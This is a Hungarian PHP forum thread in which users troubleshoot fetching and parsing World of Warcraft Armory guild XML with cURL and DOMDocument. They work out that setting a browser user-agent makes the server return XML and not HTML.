curl_setopt($ch, CURLOPT_URL, "http://eu.wowarmory.com/guild-info.xml?r=Nordrassil&gn=Solidarity");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
curl_setopt($ch, CURLOPT_ENCODING, "UTF-8");
$output = curl_exec($ch);
curl_close($ch);
$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($output);
$params = $dom->getElementsByTagName('character');
foreach ($params as $param) {
echo $param -> getAttribute('name').'<br>';
}nos igy cURLel menne is a moka, viszont a cURL meg kb 2 honapig nem elerheto a szolgaltatomnal, szval go back to php.net es kinyalazom a linket amit kaptam
Orok halam sokat segitettel koszike.
-
válasz
Balint133 #2902 üzenetére
Hm. Nekem megy a curl-ös szkripted.
tettem a végére egy print_r($output); sort és lám: [link]
Szóval úgy néz ki igazam volt.
szerk: beírtam useragent-nek, hogy "PHP ds,fjhadgjhd" és máris HTML-t kaptam. Szóval ini_set()-elj, vagy még van egy másik megoldás is itt, ha tiltva van az init_set() függvény.
-
válasz
Balint133 #2902 üzenetére
Húb@sszameg!
Ez esetén, lehet arról van akkor szó, hogy ha a browser támogatja az xsl-t, akkor ezt az xml-t küldi el - így kevesebb procit zabál. De mivel az fopen()-be a user agent string "PHP", ezért már eleve transzformálva adja az oldalt, mert ez egy ismeretlen "browser", ami lehet nem tud xsl-t.
javaslat:
ini_set('user_agent',[írd ide a mozilláét]);
S akkor lehet menni fog.
szerk: ja most nézem curllel se megy...
Lehet még valami plusz infó kell neki a böngészőről... -
Balint133
aktív tag
ő, várj azthiszem félreértjük egymást
eredeti link: itt
ez egy vmi dinamikus valami, ha itt rámész arra a böngészőben h: forráskód megtekintése, kidobja az xml filet, én innen mentettem le ayz xml-t file->save file nál
MOD: cURL-nél meg sajnos nem működik szintúgy, legalább azzal sikerülne.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://eu.wowarmory.com/guild-info.xml?r=Nordrassil&gn=Solidarity");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1");
curl_setopt($ch, CURLOPT_ENCODING, "UTF-8");
$output = curl_exec($ch);
curl_close($ch);egy amatőr kérdés: $output változó milyen visszatérési értéket ad? 'kompatibilis' az értéke az xml értelmezővel, vagy nézzek új fordító után?
-
válasz
Balint133 #2900 üzenetére
curl meg rendesen beolvassa onnan? Vagy azt nem is próbáltad? Most ezt nem értem. Mert ha azt nem próbáltad, akkor szinte 100% hogy Javascript.
Szóval nagyon javascript gyanús a kód, minnyá meglesem.
A header()-rel kapcsolatban meg hülyeséget írtam, mert követi azokat az fopen().
szerk: nem találtam semmit...
Tiltsd le a JS-t a böngésződben és úgy nézd meg mit kapsz.
szerk2: Az oldalon nincs olyasmi pl, hogy "katt ide ha nem indul el a letöltés"?
Új hozzászólás Aktív témák
Hirdetés
- Miért nem működik a 4K 60 Hz minden HDMI kábellel?
- Debrecen és környéke adok-veszek-beszélgetek
- CASIO órák kedvelők topicja!
- One otthoni szolgáltatások (TV, internet, telefon)
- Azonnali notebookos kérdések órája
- Macska topik
- Elektromos autók - motorok
- PlayStation 5
- Futás, futópályák
- Hardcore café
- További aktív témák...
- HATALMAS AKCIÓK / MICROSOFT WINDOWS 10,11 / OFFICE 16,19,21,24 / VÍRUS,VPN VÉDELEM / SZÁMLA / 0-24
- Telefon felvásárlás!! Samsung Galaxy S21/Samsung Galaxy S21+/Samsung Galaxy S21 Ultra
- Lejárt a gyártói garancia? Mi tovább támogatjuk az IT infrádat!
- BESZÁMÍTÁS! ASROCK H310CM i5 9600K 32GB DDR4 500GB SSD RTX 3050 8GB DeepCool Tesseract SW 500W
- Telefon felvásárlás!! Samsung Galaxy A14/Samsung Galaxy A34/Samsung Galaxy A54
Állásajánlatok
Cég: Liszt Ferenc Zeneművészeti Egyetem
Város: Budapest
Cég: CAMERA-PRO Hungary Kft
Város: Budapest